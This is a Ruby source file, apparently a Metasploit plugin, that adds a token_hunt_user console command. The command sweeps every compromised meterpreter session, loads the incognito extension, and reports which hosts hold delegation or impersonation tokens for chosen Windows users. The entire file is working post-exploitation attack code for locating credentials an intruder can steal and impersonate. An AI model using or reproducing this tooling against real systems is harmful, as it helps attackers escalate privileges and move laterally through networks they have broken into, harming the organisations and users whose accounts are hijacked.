154 lines
3.8 KiB
Ruby
154 lines
3.8 KiB
Ruby
#
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# $Id$
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# $Revision$
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#
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module Msf
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class Plugin::TokenHunter < Msf::Plugin
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class TokenCommandDispatcher
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include Msf::Ui::Console::CommandDispatcher
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def name
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"Token Hunter"
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end
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def commands
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{
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'token_hunt_user' => "Scan all connected meterpreter sessions for active tokens corresponding to one or more users"
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}
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end
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def cmd_token_hunt_user(*args)
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opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "This help menu"],
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"-f" => [ true, "A file containing a list of users to search for (one per line)"]
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)
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opt_userfile = nil
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opt_users = []
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opts.parse(args) do |opt, idx, val|
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case opt
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when "-h"
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print_line("Usage: token_hunt_user [options] <username> [username] .. [username]")
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print_line(opts.usage)
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return
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when "-f"
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opt_userfile = val
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else
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opt_users << val
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end
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end
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if(opt_userfile)
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::File.open(opt_userfile, "rb") do |fd|
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fd.each_line do |line|
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line.strip!
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next if line.empty?
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next if line =~ /^#/
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opt_users << line
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end
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end
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end
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opt_users.uniq!
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tokens_del = {}
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tokens_imp = {}
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framework.sessions.each_key do |sid|
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session = framework.sessions[sid]
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next if session.type != "meterpreter"
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print_status(">> Scanning session #{session.sid} / #{session.session_host}")
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if(! session.incognito)
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session.core.use("incognito")
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end
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if(! session.incognito)
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print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
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next
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end
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res = session.incognito.incognito_list_tokens(0)
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if(res)
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res["delegation"].split("\n").each do |user|
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opt_users.each do |needle|
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ndom,nusr = needle.split("\\")
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if(not nusr)
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nusr = ndom
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ndom = nil
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end
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if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase)
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print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)")
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next
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end
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fdom,fusr = user.split("\\")
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if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase)
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print_status("FOUND: #{session.sid} - #{session.session_host} - #{user} (delegation)")
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end
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end
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tokens_del[user] ||= []
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tokens_del[user] << session.sid
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end
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res["impersonation"].split("\n").each do |user|
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opt_users.each do |needle|
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ndom,nusr = needle.split("\\")
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if(not nusr)
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nusr = ndom
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ndom = nil
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end
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if(not user.nil? and ndom and user.strip.downcase == needle.strip.downcase)
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print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)")
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next
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end
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fdom,fusr = user.split("\\")
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if (not fusr.nil? and ! ndom and fusr.strip.downcase == nusr.strip.downcase)
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print_status(">> Found #{session.sid} - #{session.session_host} - #{user} (impersonation)")
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end
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end
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tokens_imp[user] ||= []
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tokens_imp[user] << session.sid
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end
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end
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end
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end
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end
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def initialize(framework, opts)
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super
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add_console_dispatcher(TokenCommandDispatcher)
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end
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def cleanup
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remove_console_dispatcher('Token Hunter')
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end
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def name
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"token_hunter"
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end
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def desc
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"Search all active meterpreter sessions for specific tokens"
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end
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end
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end
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